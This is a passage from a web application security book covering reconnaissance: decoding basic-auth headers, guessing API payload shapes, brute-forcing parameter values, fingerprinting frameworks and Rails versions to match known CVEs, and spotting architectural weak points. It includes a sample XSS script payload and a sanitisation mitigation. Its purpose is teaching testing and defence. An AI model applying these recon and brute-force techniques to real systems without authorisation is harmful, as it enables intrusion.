can be shared from one
app to another for
integrations

Phishing risk; central site
can be compromised,
compromising all
connected apps

If we log in to https://www.mega-bank.com and analyze the network response, we
might see something like this after the login succeeds:

GET /homepage
HOST mega-bank.com
Authorization: Basic am9lOjEyMzQ=
Content Type: application/json

Authentication Mechanisms | 81

https://www.mega-bank.com


We can tell at first glance that this is HTTP basic authentication because of the Basic
authorization header being sent. Furthermore, the string am9lOjEyMzQ= is simply a
base64-encoded username:password string. This is the most common way to format
a username and password combination for delivery over HTTP.

In the browser console, we can use the built-in functions btoa(str) and
atob(base64) to convert strings to base64 and vice versa. If we run the base64-
encoded string through the atob function, we will see the username and password
being sent over the network:

/*
 * Decodes a string that was previously encoded with base64.
 * Result = joe:1234
 */
atob('am9lOjEyMzQ=');

Because of how insecure this mechanism is, basic authentication is typically only used
on web applications that enforce SSL/TLS traffic encryption. This way, credentials
cannot be intercepted midair—for example, at a sketchy mall WiFi hotspot.

The important thing to note from the analysis of this login/redirect to the home page
is that our requests are indeed being authenticated, and they are doing so with
Authorization: Basic am9lOjEyMzQ=. This means that if we ever run into another
endpoint that is not returning anything interesting with an empty payload, the first
thing we should try is attaching an authorization header and seeing if it does anything
different when we request as an authenticated user.

Endpoint Shapes
After locating a number of subdomains and the HTTP APIs contained within those
subdomains, you should begin determining the HTTP verbs used per resource and
adding the results of that investigation to your web application map. Once you have a
comprehensive list of subdomains, APIs, and shapes, you may begin to wonder how
you can actually learn what type of payload any given API expects.

Common Shapes
Sometimes this process is simple—many APIs expect payload shapes that are com‐
mon in the industry. For example, an authorization endpoint that is set up as part of
an OAuth 2.0 flow may expect the following data:

{
  "response_type": code,
  "client_id": id,
  "scope": [scopes],
  "state": state,
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  "redirect_uri": uri
}

Because OAuth 2.0 is a widely implemented public specification, determining the
data to include in an OAuth 2.0 authorization endpoint can often be done through a
combination of educated guesses combined with the available public documentation.
The naming conventions and list of scopes in an OAuth 2.0 authorization endpoint
may differ slightly from implementation to implementation, but the overall payload
shape should not.

An example of an OAuth 2.0 authorization endpoint can be found in the Discord
(instant messaging) public documentation. Discord suggests that a call to the OAuth
2.0 endpoint should be structured as follows:

https://discordapp.com/api/oauth2/authorize?response_type=code&client_\
id=157730590492196864&scope=identify%20guilds.\
join&state=15773059ghq9183habn&redirect_uri=https%3A%2F%2Fnicememe.\
website&prompt=consent

Where response_type, client_id, scope, state, and redirect_uri are all part of
the official spec.

Facebook’s public documentation for OAuth 2.0 is very similar, suggesting the follow‐
ing request for the same functionality:

GET https://graph.facebook.com/v4.0/oauth/access_token?
   client_id={app-id}
   &redirect_uri={redirect-uri}
   &client_secret={app-secret}
   &code={code-parameter}

So finding the shape of an HTTP API is not a complex matter when dealing with
common endpoint archetypes. However, it is wise to consider that while many APIs
implement common specifications like OAuth, they will often not use a common
specification for their internal APIs that are responsible for initiating application
logic.

Application-Specific Shapes
Application-specific shapes are much harder to determine than those that are based
on public specifications. To determine the shape of a payload expected by an API
endpoint, you may need to rely on a number of recon techniques and slowly learn
about the endpoint by trial and error.

Insecure applications may give you hints in the form of HTTP error messages. For
example, imagine you call POST https://www.mega-bank.com/users/config with
the following body:

{
 "user_id": 12345,

Endpoint Shapes | 83

https://oauth.net/2


 "privacy": {
   "publicProfile": true
 }
}

You would likely get an HTTP status code like 401 not authorized or a
400 internal error. If the status code comes with a message like auth_token not
supplied then you may have accidentally stumbled across a missing param.

In an alternative request with a correct auth_token, you might get another error mes‐
sage: publicProfile only accepts "auth" and "noAuth" as params.

Bingo.

But more secure applications will probably just throw a generic error, and you will
have to move on to other techniques.

If you have a privileged account, you can try the same request against your account
using the UI before attempting it against another account to determine what the out‐
going shape looks like. This can be found in the browser Developer tools → Network
tab or with a network monitoring tool like Burp.

Finally, if you know the name of a variable expected in the payload, but not a value,
then you may be able to brute force the request by repeating it with variations until
one sticks. Obviously, brute forcing values is slow manually, so you want a script to
speed up the process. The more rules you can learn about an expected variable, the
better. If you know an auth_token is always 12 characters, that’s great. If you know it
is always hexadecimal, that’s even better. The more rules you can learn and apply, the
more likely you will be able to brute force a successful combination.

The list of possible combinations for a field is known as the solutions space. You want
to decrease the solutions space to the smallest viable search space.

Rather than searching for valid solutions, you may also want to try searching for
invalid solutions. These may help you reduce the solutions space, and potentially
even uncover bugs in the application code.

Summary
After developing a mental model (ideally also recorded in some form) of the subdo‐
mains that power an application, the next step is to find the API endpoints hosted on
those subdomains so that you can try to determine their purpose later. Although it
sounds like a simple step, it is crucial as a recon technique because without it you may
spend time trying to find holes in well-secured endpoints while less-secure endpoints
exist with similar functionality or data. Additionally, finding endpoints on an API is
one step toward understanding the purpose and function of the API if you are not
already aware of its intended use.
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Once you have found and documented a number of API endpoints, then determining
the shape of the payloads that endpoint takes is the next logical step. Using a combi‐
nation of educated guesses, automation, and analysis of common endpoint arche‐
types like we did in this chapter will eventually lead you to discover the data that
these endpoints expect and the data that is sent in response. With this knowledge in
mind, you now understand the function of the application, which is the first major
step toward breaking or securing the application.
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CHAPTER 6

Identifying Third-Party Dependencies

Most web applications today are built on a combination of in-house code and exter‐
nal code integrated internally by one of many integration techniques. External depen‐
dencies can be proprietary from another company, which allows integration under a
certain licensing model, or free—often from the OSS community. The use of such
third-party dependencies in application code is not risk free, and often third-party
dependencies are not subject to as robust a security review as in-house code.

During reconnaissance you will likely encounter many third-party integrations, and
you will want to pay a lot of attention to both the dependency and the method of inte‐
gration. Often these dependencies can turn into attack vectors; sometimes vulnerabil‐
ities in such dependencies are well known and you may not even have to prepare an
attack yourself but will instead be able to copy an attack from a Common Vulnerabili‐
ties and Exposures (CVE) database.

Detecting Client-Side Frameworks
Often, rather than building out complex UI infrastructure, developers take advantage
of well-maintained and well-tested UI frameworks. These often come in the form of
SPA libraries for handling complex state, JavaScript-only frameworks for patching
functionality holes in the JavaScript language across browsers (Lodash, JQuery), or as
CSS frameworks for improving the look and feel of a website (Bootstrap, Bulma).

Usually all three of these are easy to detect, and if you can pin down the version num‐
ber, you can often find a combination of applicable ReDoS, Prototype Pollution, and
XSS vulnerabilities on the web (in particular with older versions that have not been
updated).
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Detecting SPA Frameworks
The largest SPA frameworks on the web as of 2019 are (in no particular order):

• EmberJS (LinkedIn, Netflix)
• AngularJS (Google)
• React (Facebook)
• VueJS (Adobe, GitLab)

Each of these frameworks introduces very particular syntax and order as to how they
manage DOM elements and how a developer interacts with the framework. Not all
frameworks are this easy to detect. Some require fingerprinting or advanced techni‐
ques. When the version is given to you, always make sure to write it down.

EmberJS
EmberJS is quite easy to detect because when EmberJS bootstraps, it sets up a global
variable Ember that can easily be found in the browser console (see Figure 6-1).

Figure 6-1. Detecting the EmberJS version

Ember also tags all DOM elements with an ember-id for its own internal use. This
means that if you look at the DOM tree in any given web page using Ember via the
Developer tools → Elements tab, you should see a number of divs containing
id=ember1, id=ember2, id=ember3, etc. Each of these divs should be wrapped
inside a class="ember-application" parent element, which is usually the body
element.

Ember makes it easy to detect the version running. Simply reference a constant
attached to the global Ember object:

// 3.1.0
console.log(Ember.VERSION);
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AngularJS
Older versions of Angular provide a global object similar to EmberJS. The global
object is named angular, and the version can be derived from its property angu
lar.version. AngularJS 4.0+ got rid of this global object, which makes it a bit harder
to determine the version of an AngularJS app. You can detect if an application is run‐
ning AngularJS 4.0+ by checking to see if the ng global exists in the console.

To detect the version, you need to put in a bit more work. First, grab all of the root
elements in the AngularJS app. Then check the attributes on the first root element.
The first root element should have an attribute ng-version that will supply you the
AngularJS version of the app you are investigating:

// returns array of root elements
const elements = getAllAngularRootElements();
const version = elements[0].attributes['ng-version'];

// ng-version="6.1.2"
console.log(version);

React

React can be identified by the global object React, and like EmberJS, can have its ver‐
sion detected easily via a constant:

const version = React.version;

// 0.13.3
console.log(version);

You may also notice script tags with the type text/jsx referencing React’s special file
format that contains JavaScript, CSS, and HTML all in the same file. This is a dead
giveaway that you are working with a React app, and knowing that every part of a
component originates from a single .jsx file can make investigating individual com‐
ponents much easier.

VueJS

Similarly to React and EmberJS, VueJS exposes a global object Vue with a version
constant:

const version = Vue.version;

// 2.6.10
console.log(version);

If you cannot inspect elements on a VueJS app, it is likely because the app was config‐
ured to ignore developer tools. This is a toggled property attached to the global object
Vue.
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You can flip this property to true in order to begin inspecting VueJS components in
the browser console again:

// Vue components can now be inspected
Vue.config.devtools = true;

Detecting JavaScript Libraries
There are too many JavaScript helper libraries to count, and some expose globals
while others operate under the radar. Many JavaScript libraries use the top-level
global objects for namespacing their functions. These libraries are very easy to detect
and iterate through (see Figure 6-2).

Figure 6-2. JavaScript library globals

Underscore and Lodash expose globals using the underscore symbol $, and JQuery
makes use of the $ namespace, but beyond the major libraries you are better off run‐
ning a query to see all of the external scripts loaded into the page.

We can make use of the DOM’s querySelectorAll function to rapidly find a list of all
third-party scripts imported into the page:

/*
 * Makes use of built-in DOM traversal function
 * to quickly generate a list of each <script>
 * tag imported into the current page.
 */
const getScripts = function() {

  /*
   * A query selector can either start with a "."
   * if referencing a CSS class, a "#" if referencing
   * an `id` attribute, or with no prefix if referencing an HTML element.
   *
   * In this case, 'script' will find all instances of <script>.
   */
  const scripts = document.querySelectorAll('script');

  /*
   * Iterate through each `<script>` element, and check if the element
   * contains a source (src) attribute that is not empty.
   */
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  scripts.forEach((script) => {
    if (script.src) {
       console.log(`i: ${script.src}`);
    }
  });
};

Calling this function will give us output like this:

getScripts();

VM183:5 i: https://www.google-analytics.com/analytics.js
VM183:5 i: https://www.googletagmanager.com/gtag/js?id=UA-1234
VM183:5 i: https://js.stripe.com/v3/
VM183:5 i: https://code.jquery.com/jquery-3.4.1.min.js
VM183:5 i: https://cdnjs.cloudflare.com/ajax/libs/d3/5.9.7/d3.min.js
VM183:5 i: /assets/main.js

From here we need to directly access the scripts individually in order to determine
orders, configurations, etc.

Detecting CSS Libraries
With minor modifications to the algorithm to detect scripts, we can also detect CSS:

/*
 * Makes use of DOM traversal built into the browser to
 * quickly aggregate every `<link>` element that includes
 * a `rel` attribute with the value `stylesheet`.
 */
const getStyles = function() {
  const scripts = document.querySelectorAll('link');

  /*
   * Iterate through each script, and confirm that the `link`
   * element contains a `rel` attribute with the value `stylesheet`.
   *
   * Link is a multipurpose element most commonly used for loading CSS
   * stylesheets, but also used for preloading, icons, or search.
   */
  scripts.forEach((link) => {
    if (link.rel === 'stylesheet') {
       console.log(`i: ${link.getAttribute('href')}`);
    }
  });
};

Again, this function will output a list of imported CSS files:

getStyles();

VM213:5 i: /assets/jquery-ui.css
VM213:5 i: /assets/boostrap.css
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VM213:5 i: /assets/main.css
VM213:5 i: /assets/components.css
VM213:5 i: /assets/reset.css

Detecting Server-Side Frameworks
Detecting what software is running on the client (browser) is much easier than
detecting what is running on the server. Most of the time, all of the code required for
the client is downloaded and stored in memory referenced via the DOM. Some
scripts may load conditionally or asynchronously after a page loads, but these can still
be accessed as long as you trigger the correct conditions.

Detecting what dependencies a server has is much harder, but often not impossible.
Sometimes server-side dependencies leave a distinct mark on HTTP traffic (headers,
optional fields) or expose their own endpoints. Detecting server-side frameworks
requires more knowledge about the individual frameworks being used, but fortu‐
nately, just like on the client, there are a few packages that are very widely used. If you
can memorize ways to detect the top packages, you will be able to recognize them on
many web applications that you investigate.

Header Detection
Some insecurely configured web server packages expose too much data in their
default headers. A prime example of this is the X-Powered-By header, which will liter‐
ally give away the name and version of a web server. Often this is enabled by default
on older versions of Microsoft IIS.

Make any call to one of those vulnerable web servers and you should see a return
value like this in the response:

X-Powered-By: ASP.NET

If you are very lucky, the web server might even provide additional information:

 Server: Microsoft-IIS/4.5
 X-AspNet-Version: 4.0.25

Smart server administrators disable these headers, and smart development teams
remove them from the default configuration. But there are still millions of websites
exposing these headers to be read by anyone.

Default Error Messages and 404 Pages
Some popular frameworks don’t provide very easy methods of determining the ver‐
sion number used. If these frameworks are open source, like Ruby on Rails, then you
may be able to determine the version used via fingerprinting. Ruby on Rails is one of
the largest open source web application frameworks, and its source code is hosted on
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GitHub for easier collaboration. Not only is the most recent version available, but all
historical versions using Git version control can be found. As a result, specific
changes from commit to commit can be used to fingerprint the version of Ruby on
Rails being used (see Figure 6-3).

Figure 6-3. Fingerprinting the version of Ruby on Rails being used

Have you ever visited a web application and been presented with a standard 404 page
or had an out-of-the-box error message pop up? Most web servers provide their own
default error messages and 404 pages, which continue to be presented to users until
they are replaced with a custom alternative by the owner of the web application.

These 404 pages and error messages can expose quite a bit of intelligence regarding
your server setup. Not only can these expose your server software, but they can often
expose the version or range of versions as well.

Take, for example, the full stack web application framework Ruby on Rails. It has its
own default 404 page, which is an HTML page containing a box with the words “The
page you were looking for doesn’t exist” (see Figure 6-4).
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Figure 6-4. Ruby on Rails default 404 page

The HTML powering this page can be found at the public GitHub repository for
Ruby on Rails under the file location rails/railties/lib/rails/generators/rails/app/
templates/public/404.html. If you clone the Ruby on Rails repository on your local
machine (using git clone https://github.com/rails/rails) and begin sifting
through the changes to that page (using git log | grep 404), you may find some
interesting tidbits of information, such as:

• April 20, 2017—Namespaced CSS selectors added to 404 page
• November 21, 2013—U+00A0 replaced with whitespace
• April 5, 2012—HTML5 type attribute removed

Now if you are testing an application and you stumble upon its 404 page, you can
search for the HTML5 type attribute type="text/css", which was removed in 2012.
If this exists, you are on a version of Ruby on Rails shipped April 5, 2012, or earlier.

Next, you can look for the U+00A0 character. If that exists, then the application’s ver‐
sion of Ruby on Rails is from November 21, 2013, or earlier.

Finally, you can search for the namespaced CSS selectors, .rails-default-error-
page. If these do not exist, then you know the version of Ruby on Rails is from April
20, 2017, or earlier.

Let’s assume you get lucky and the HTML5 type attribute was removed, and the
U+00A0 was replaced with whitespace, but the namespaced CSS selectors are not yet
in the 404 page you are testing. We can now cross-reference those time frames with
the official release schedule listed on the Ruby Gems package manager website. As a
result of this cross-referencing, we can determine a version range.

From this cross-referencing exercise we can determine that the version of Ruby on
Rails being tested is somewhere between version 3.2.16 and 4.2.8. It just so happens
that Ruby on Rails version 3.2.x until 4.2.7 was subject to a XSS vulnerability,
which is well documented on the internet and in vulnerability databases
(CVE-2016-6316).
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This attack allowed a hacker to inject HTML code padded with quotes into any data‐
base field read by an Action View Tag helper on the Ruby on Rails client. Script tags
containing JavaScript code in this HTML would be executed on any device that vis‐
ited the Ruby on Rails-based web application and interacted with it in a way to trigger
the Action View helpers to run.

This is just one example of how investigating the dependencies and versions of a web
application can lead to easy exploitation. We will cover this type of exploitation in the
next part of the book, but keep in mind that these techniques don’t just apply to Ruby
on Rails. They apply to any third-party dependency where you (the hacker or tester)
can determine the software and versions of that software that the application integra‐
tes with.

Database Detection
Most web applications use a server-side database (such as MySQL or MongoDB) to
store state regarding users, objects, and other persistent data. Very few web applica‐
tion developers build their own databases, as efficiently storing and retrieving large
amounts of data in a reliable way is not a small task.

If database error messages are sent to the client directly, a similar technique to the one
for detecting server packages can be used to determine the database. Often this is not
the case, so you must find an alternative discovery route.

One technique that can be used is primary key scanning. Most databases support the
notion of a “primary key,” which refers to a key in a table (SQL) or document
(NoSQL) that is generated automatically upon object creation and used for rapidly
performing lookups in the database. The method by which these keys are generated
differs from database to database, and can at times be configured by the developer if
special needs are required (such as shorter keys for use in URLs). If you can deter‐
mine how the default primary keys are generated for a few major databases, unless
the default method has been overwritten you will likely be able to determine the data‐
base type after sifting through enough network requests.

Take, for example, MongoDB, a popular NoSQL database. By default, MongoDB gen‐
erates a field called _id for each document created. The _id key is generated using a
low-collision hashing algorithm that always results in a hexadecimal-compatible
string of length 12. Furthermore, the algorithm used by MongoDB is visible in its
open source documentation.

The documentation tells us the following:

• The class that is used to generate these ids is known as ObjectId.
• Each id is exactly 12 bytes.
• The first 4 bytes represent the seconds since the Unix epoch (Unix timestamp).
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• The next 5 bytes are random.
• The final 3 bytes are a counter beginning with a random value.

An example ObjectId would look like this: 507f1f77bcf86cd799439011.

The ObjectId spec also goes on to list helper methods like getTimestamp(), but since
we will be analyzing traffic and data on the client rather than the server, those helper
methods likely will not be exposed to us. Instead, knowing the structure of Mon‐
goDB’s primary keys, we want to look through HTTP traffic and analyze the payloads
we find for 12-byte strings with a similar appearance.

This is often simple, and you will find a primary key in the form of a request like:

GET users/:id

Where :id is a primary key

PUT users, body = { id: id }

Where id again is a primary key

GET users?id=id

Where the id is a primary key but in the query params

Sometimes the ids will appear in places you least expect them, such as in metadata or
in a response regarding a user object:

{
  _id: '507f1f77bcf86cd799439011',
  username: 'joe123',
  email: 'joe123@my-email.com',
  role: 'moderator',
  biography: '...'
}

Regardless of how you find a primary key, if you can determine that the value is
indeed a primary key from a database, then you can begin researching databases and
trying to find a match with their key generation algorithms. Often this is enough to
determine what database a web application is using, but from time to time you may
need to use this in combination with another technique (e.g., forcing error messages)
if you run into a case where multiple databases use the same primary key generation
algorithm (e.g., sequential integers or other simple patterns).

Summary
For many years, first-party application code was the most common attack vector as
far as source code goes. But that is changing today, due to modern web application
reliance on third-party and open source integrations.
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Developing a deep understanding of a target’s third-party integrations may lead you
to security holes in an application that are ripe for exploitation. Often these vulnera‐
bilities are also difficult for the owner of an application to detect.

Beyond this, understanding the way third-party dependencies are being used in your
own codebase allows you to mitigate risk otherwise brought on by shoddy integration
techniques or integration with less secure libraries (when more secure options are
available).

In conclusion, due to the amount of code running underneath most of today’s appli‐
cations, third-party integration is almost mandatory. Building an entire full stack web
application from scratch would be a heroic effort. As a result, understanding the tech‐
niques used to find and evaluate dependencies in an application is becoming a must-
have skill for anyone involved in the security industry.
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CHAPTER 7

Identifying Weak Points in Application
Architecture

So far we have discussed a number of techniques for identifying components in a web
application, determining the shape of APIs in a web application, and learning how a
web application expects to interact with a user’s web browser. Each technique is val‐
uable by itself, but when the information gathered from them is combined in an
organized fashion, even more value can be gained.

Ideally, throughout the recon process you are keeping notes of some sort, as sug‐
gested earlier in this part of the book. Proper documentation of your research is inte‐
gral, as some web applications are so expansive that exploring all of their
functionality could take months. The amount of documentation created during recon
is ultimately up to you (the tester, hacker, hobbyist, engineer, etc.) and more isn’t
always more valuable if not prioritized correctly, although more data is still better
than no data.

Ideally, with each application you test, you will end up with a well-organized set of
notes. These notes should cover:

• Technology used in the web application
• List of API endpoints by HTTP verb
• List of API endpoint shapes (where available)
• Functionality included in the web application (e.g., comments, auth, notifica‐

tions, etc.)
• Domains used by the web application
• Configurations found (e.g., Content Security Policy or CSP)
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• Authentication/session management systems

Once you have finished compiling this list, you can use it to prioritize any attempts at
hacking the application or finding vulnerabilities.

Contrary to popular belief, most vulnerabilities in a web application stem from
improperly designed application architecture rather than from poorly written meth‐
ods. Sure, a method that writes user-provided HTML directly to the DOM is defi‐
nitely a risk and may allow a user to upload a script (if proper sanitization is not
present) and execute that script on another user’s machine (XSS).

But there are applications out there that have dozens of XSS vulnerabilities, while
other similarly sized applications in the same industry have nearly zero. Ultimately,
the architecture of an application and the architecture of the modules/dependencies
within that application are fantastic markers of weak points from which vulnerabili‐
ties may arise.

Secure Versus Insecure Architecture Signals
As mentioned earlier, a single XSS vulnerability may be the result of a poorly written
method. But multiple vulnerabilities are probably the sign of weak application
architecture.

Let’s imagine two simple applications that allow users to send direct messages (texts)
to other users. One of these applications is vulnerable to XSS, while the other is not.

The insecure application might not reject a script when a request to store a comment
is made to an API endpoint; its database might not reject the script, and it might not
perform proper filtration and sanitization against the string representing the message.
Ultimately, it is loaded into the DOM and evaluated as DOM test

message<script>alert('hacked');</script>, hence resulting in script execution.

The secure application, on the other hand, likely has one or many of the preceding
protections. However, implementing multiples of these protections on a per-case
basis would be expensive in terms of developer time and could be easily overlooked.

Even an application written by engineers skilled in application security would likely
have security holes eventually if its application architecture was inherently insecure.
This is because a secure application implements security prior to and during feature
development, whereas an application with mediocre security implements security at
feature development, and an insecure application might not implement any.

If a developer has to write 10 variations on the instant messaging (IM) system in the
preceding example, across a timespan of 5 years, it is likely that each implementation
be different. The security risks between each implementation will be mostly the same.

Each of these IM systems includes the following functionality:
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• UI to write a message
• API endpoint to receive a message just written and submitted
• A database table to store a message
• An API endpoint to retrieve one or more messages
• UI code to display one or more messages

At a bare minimum, the application code looks like this:

client/write.html
<!-- Basic UI for Message Input -->
<h2>Write a Message to <span id="target">TestUser</span></h2>
<input type="text" class="input" id="message"></input>
<button class="button" id="send" onclick="send()">send message</button>

client/send.js
const session = require('./session');
const messageUtils = require('./messageUtils');

/*
 * Traverses DOM and collects two values, the content of the message to be
 * sent and the username or other unique identifier (id) of the target
 * message recipient.
 *
 * Calls messgeUtils to generate an authenticated HTTP request to send the
 * provided data (message, user) to the API on the server.
 */
const send = function() {
  const message = document.querySelector('#send').value;
  const target = document.querySelector('#target').value;

  messageUtils.sendMessageToServer(session.token, target, message);
};

server/postMessage.js
const saveMessage = require('./saveMessage');

/*
 * Recieves the data from send.js on the client, validating the user's
 * permissions and saving the provided message in the database if all
 * validation checks complete.
 *
 * Returns HTTP status code 200 if successful.
 */
const postMessage = function(req, res) {
  if (!req.body.token || !req.body.target || !req.body.message) {
    return res.sendStatus(400);
  }
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  saveMessage(req.body.token, req.body.target, req.body.message)
  .then(() => {
    return res.sendStatus(200);
   })
   .catch((err) => {
    return res.sendStatus(400);
   });
};

server/messageModel.js
const session = require('./session');

/*
 * Represents a message object. Acts as a schema so all message objects
 * contain the same fields.
 */
const Message = function(params) {
  user_from: session.getUser(params.token),
  user_to: params.target,
  message: params.message
};

module.exports = Message;

server/getMessage.js
const session = require('./session');

/*
 * Requests a message from the server, validates permissions, and if
 * successful pulls the message from the database and then returns the
 * message to the user requesting it via the client.
 */
const getMessage = function(req, res) {
 if (!req.body.token) { return res.sendStatus(401); }
 if (!req.body.messageId) { return res.sendStatus(400); }

 session.requestMessage(req.body.token, req.body.messageId)
 .then((msg) => {
   return res.send(msg);
  })
  .catch((err) => {
   return res.sendStatus(400);
  });
};

client/displayMessage.html
<!-- displays a single message requested from the server -->
<h2>Displaying Message from <span id="message-author"></span></h2>
<p class="message" id="message"></p>
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client/displayMessage.js
const session = require('./session');
const messageUtils = require('./messageUtils');

/*
 * Makes use of a util to request a single message via HTTP GET and then
 * appends it to the #message element with the author appended to the
 * #message-author element.
 *
 * If the HTTP request fails to retrieve a message, an error is logged to
 * the console.
 */
const displayMessage = function(msgId) {
 messageUtils.getMessageById(session.token, msgId)
 .then((msg) => {
  messageUtils.appendToDOM('#message', msg);
  messageUtils.appendToDOM('#message-author', msg.author);
 })
 .catch(() => console.log('an error occured'););
};

Many of the security mechanisms needed to secure this simple application could, and
likely should, be abstracted into the application architecture rather than implemented
on a case-by-case basis.

Take, for example, the DOM injection. A simple method built into the UI like the fol‐
lowing would eliminate most XSS risk:

import { DOMPurify } from '../utils/DOMPurify';

// makes use of: https://github.com/cure53/DOMPurify
const appendToDOM = function(data, selector, unsafe = false) {
  const element = document.querySelector(selector);

  // for cases where DOM injection is required (not default)
  if (unsafe) {
   element.innerHTML = DOMPurify.sanitize(data);
  } else { // standard cases (default)
   element.innerText = data;
  }
};

Simply building your application around a function like this would dramatically
reduce the risk of XSS vulnerabilities arising in your codebase.

However, the implementation of such methods is important—note that the DOM
injection flag in the preceding code sample is specifically labeled unsafe. Not only is
it off by default, but it also is the final param in the function signature, which means
it is unlikely to be flipped by accident.
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Mechanisms like the preceding appendToDOM method are indicators of a secure appli‐
cation architecture. Applications that lack these security mechanisms are more likely
to include vulnerabilities. This is why identifying insecure application architecture is
important for both finding vulnerabilities and prioritizing improvements to a
codebase.

Multiple Layers of Security
In the previous example where we considered the architecture of a messaging service,
we isolated and identified multiple layers where XSS risk could occur. The layers
were:

• API POST
• Database Write
• Database Read
• API GET
• Client Read

The same can be said for other types of vulnerabilities, such as XXE or CSRF—each
vulnerability can occur as a result of insufficient security mechanisms at more than
one layer.

For example, let’s imagine that a hypothetical application (like the messaging app)
added mechanisms at the API POST layer in order to eliminate XSS risk by sanitizing
payloads (messages) sent by users. It may now be impossible to deploy an XSS via the
API POST layer.

However, at a later point in time, another method of sending messages may be devel‐
oped and deployed. An example of this would be a new API POST endpoint that
accepted a list of messages in order to support bulk messaging. If the new API end‐
point does not offer sanitization as powerful as the original, it may be used to upload
payloads containing script to the database, bypassing the original intentions of the
developer in the single-message API.

I am bringing this up as a simple example to point out that an application is only as
secure as the weakest link in its architecture. Had the developers of this service imple‐
mented mechanisms in multiple locations, such as API POST and Database Write
stages, then the new attack could have been mitigated.

Sometimes, different layers of security can support different mechanisms for defend‐
ing against a particular type of attack. For example, the API POST could invoke a
headless browser and attempt to simulate the rendering of a message to the page,
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rejecting the message payload if any script execution is detected. A mitigation involv‐
ing a headless browser would not be possible at the database layer or the client layer.

Different mechanisms can detect different attack payloads as well. The headless
browser may detect script execution, but should a browser-specific API have a bug, it
may be possible for the script to bypass this mechanism. This could occur because the
payload would not execute in the headless browser but only in the browser of a user
with a vulnerable browser version (which is different than the browser or version tes‐
ted on the server).

All of these examples suggest that the most secure web applications introduce security
mechanisms at many layers, while insecure web applications introduce security
mechanisms at only one or two layers. When testing web applications, you want to
look for functionality in an application that makes use of a few security mechanisms
or requires a significant number of layers (hence likely to have a lower ratio of secu‐
rity mechanisms to layers). If you can isolate and determine what functionality meets
this criteria, it should be prioritized above the rest when looking for vulnerabilities as
it is more likely to be exploitable.

Adoption and Reinvention
A final risk factor to pay attention to is the desire for developers to reinvent existing
technology. Generally, this does not start as an architecture problem. Instead it is usu‐
ally an organizational problem, which is reflected and visible in the application
architecture.

This is commonplace in many software companies, as reinventing tools or features
comes with a number of benefits from a development perspective including:

• Avoiding complicated licenses
• Adding additional functionality to the feature
• Creating publicity via marketing the new tool or feature

Beyond that, creating a feature from scratch is usually much more fun and challeng‐
ing than repurposing an existing open source or paid tool. But it is not always bad to
reinvent, so each case must be evaluated individually.

There are scenarios where reinvention of existing software may bring more benefits
than pitfalls to a company. An example of this would be if the best tool had a licens‐
ing agreement that required a significant commission leading to negative margins, or
prohibited alteration so that the application would forgo essential functionality.

On the other hand, reinvention is risky from a security point of view. The risk waxes
and wanes based on the particular functionality being reinvented, but can span any‐
where from a moderate security risk all the way to an extreme security risk.
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In particular, well-versed security engineers suggest never rolling your own cryptog‐
raphy. Talented software engineers and mathematicians may be able to develop their
own hashing algorithms to avoid using open algorithms—but at what cost?

Consider the hashing algorithm SHA-3. SHA-3 is an open source hashing algorithm
that has been developed over the course of nearly 20 years, and has received robust
testing from the National Institute of Standards and Technology (NIST), as well as
contributions from the largest security firms in the US.

Hashes generated from hashing algorithms are attacked regularly from a multitude of
attack vectors (e.g., combinator attacks, Markov attacks, etc.). A developer-written
hashing algorithm would have to hold up to the same robustness as the best open
algorithms.

Rolling out an algorithm with the same extensive level of testing that NIST and other
organizations provided for the development of SHA-3 would cost an organization
tens of millions of dollars. But for zero dollars, the organization could adopt an
implementation of SHA-3 from a source like OpenJDK and still gain all of the bene‐
fits that come from NIST and community testing.

It is likely that the lone software developer who decides to roll out their own hashing
algorithm will not be able to meet the same standards and conduct robust testing—
and as a result will make the organization’s critical data an easy target for hackers.

So how can we determine which features or tools to adopt and which to reinvent? In
general, a securely architected application will only reinvent features that are purely
functional, such as reinventing a schema for storing comments, or a notification
system.

Features that require deep expertise in mathematics, operating systems, or hardware
should probably be left alone by web application developers. This includes databases,
process isolation, and most memory management.

It’s impossible to be an expert at everything. A good web application developer
understands this and will focus their energy on developing where their expertise lies,
and request assistance when operating outside of their primary domain. On the flip
side, bad developers often do attempt to reinvent mission-critical functionality—this
is not uncommon!

Applications full of custom databases, custom cryptography, and special hardware-
level optimization often are the easiest to break into. Rare exceptions to this rule may
exist, but they are the outliers and not the norm.
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Summary
When talking about vulnerabilities in web applications, we are usually talking about
issues that occur at the code level, or as a result of improperly written code. However,
issues that appear at the code level can be easily spotted earlier in the application
architecture. Often, the architectural design of an application leads to either a ple‐
thora of security bugs or a relatively low number of security bugs based on how the
application’s defenses are designed and distributed throughout the codebase.

Because of this, the ability to identify weak points in an application’s architecture is a
useful recon technique. Poorly architected features should be focused on first when
looking for vulnerabilities, as often features with good security architecture will
remain more consistent when jumping from endpoint to endpoint or attempting to
bypass filtration systems.

Application architecture is often discussed at a very high level, rather than the low
level at which most security work takes place. This can make it a confusing topic to
tackle if you aren’t used to considering applications from a design perspective.

When investigating a web application as part of your recon efforts, make sure to con‐
sider the overall security architecture of the application as you make your map of it.
Mastering architectural analysis not only will help you focus your efforts when look‐
ing for vulnerabilities, but might also help you identify weak architecture in future
features by spotting patterns that caused bugs to appear in prior features.
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CHAPTER 8

Part I Summary

By now you should have a solid, fundamental understanding of the purpose of web
application recon, and a few techniques from which to bootstrap your recon toolkit.

Recon techniques are constantly evolving, and it can be difficult to accurately deter‐
mine which techniques outshine others. Because of this, you should always be on the
lookout for new and interesting recon techniques—especially those that can be per‐
formed rapidly and automated to eliminate valuable time otherwise spent on repeated
manual effort.

From time to time your old techniques might become stale, and you might have to
develop newer techniques to replace them. An example of this would be the improv‐
ing security in web server packages over time, which now go to great lengths to pre‐
vent any state from being leaked that would give away the web server software and
version number.

The basic skills in your recon toolkit will probably never go away entirely, but you
may find that new technologies emerge. You will want to develop methods of map‐
ping the new technologies in addition to understanding current era and legacy
technology.

In this part of the book, I stressed the importance of writing down and organizing
your recon findings. But I would also suggest writing down and recording your recon
techniques. Eventually your recon toolkit will expand to cover many unique technol‐
ogies, frameworks, versions, and methodologies.

Recording and organizing your recon techniques in an effective manner will make it
easier to turn them into automation in the future, or to distribute and teach them to
others if you find yourself in a mentorship position. Too often, powerful recon tech‐
niques are held as tribal knowledge. If you develop effective new recon techniques, do
consider sharing them with the greater security community. The techniques you
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discover not only will help penetration testers, but may also lead to advances in appli‐
cation security.

Ultimately, the way you choose to accumulate, record, and distribute these techniques
is up to you. I hope the foundations laid out in this book become a cornerstone in
your recon toolkit and serve you well throughout your future ventures in the world of
application security.
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PART II

Offense

